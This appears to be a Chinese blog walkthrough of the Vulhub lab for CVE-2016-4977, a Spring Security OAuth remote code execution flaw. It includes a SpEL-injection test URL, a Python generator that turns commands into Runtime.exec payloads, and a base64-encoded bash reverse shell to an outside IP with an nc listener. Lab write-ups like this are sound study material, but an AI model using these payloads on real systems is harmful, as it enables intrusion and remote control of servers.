当前位置: 首页 > article >正文

vulhub spring 远程命令执行漏洞(CVE-2016-4977)

1.执行以下命令启动靶场环境并在浏览器访问

cd /vulhub/spring/CVE-2016-4977#进入漏洞环境所在目录
 
docker-compose up -d #启动靶场
 
docker ps #查看容器信息

2.输入以下命令测试环境

192.168.0.107:8080/oauth/authorize?response_type=${2*2}&client_id=acme&scope=openid&redirect_uri=http://test

输入默认口令admin:admin即可

3.反弹shell

构造payload

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMTMuMjMxLjAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

创建poc.py,下面内容写入

message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)

poc += ')}'
print(poc)

CVE-2016-4977目录中运行poc 输入生成的shell

开启监听,执行反弹

nc -lvvp 6666

复制poc生成的链接,仅替换${2*2}部分,保留后面的client_id部分

成功反弹,命令执行成功


http://www.kler.cn/a/300217.html

相关文章:

  • C#使用WMI获取控制面板中安装的所有程序列表
  • 第五篇 vue3 ref 与 reactive 对比
  • Tcl教程
  • (undone) 并行计算学习 (Day2: 什么是 “伪共享” ?)
  • mysql的测试方案
  • FPGA开发中的团队协作:构建高效协同的关键路径
  • 当 PLC 遇见 “IT”
  • R语言数据整理和分析(1)
  • 栈---java--黑马
  • Git的Rebase操作,手动merge时主分支的提交记录的保留规则
  • 【Redis】redis5种数据类型(list)
  • vue如何获取一个元素的基本信息
  • 15 章 在微服务中服务众多如何实践他们复杂的依赖关系进行 helm安装
  • Robust Image Denoising through Adversarial Frequency Mixup
  • SPI驱动学习四(通过SPI操作外设模块)
  • QT作业3
  • SprinBoot+Vue宠物店管理系统的设计与实现
  • k8s笔记
  • Android - NDK: 在jni层生成java层对象,并调用java层的方法
  • C++ STL-deque容器入门详解
  • Android简易图片浏览器
  • 【CanMV K230 AI视觉】 人体检测
  • 使用ROS2 控制 Isaac Sim 中的机械臂运动
  • QQ频道机器人零基础开发详解(基于QQ官方机器人文档)[第三期]
  • Go-ecc加密解密详解与代码_ecdsa
  • mac安装spark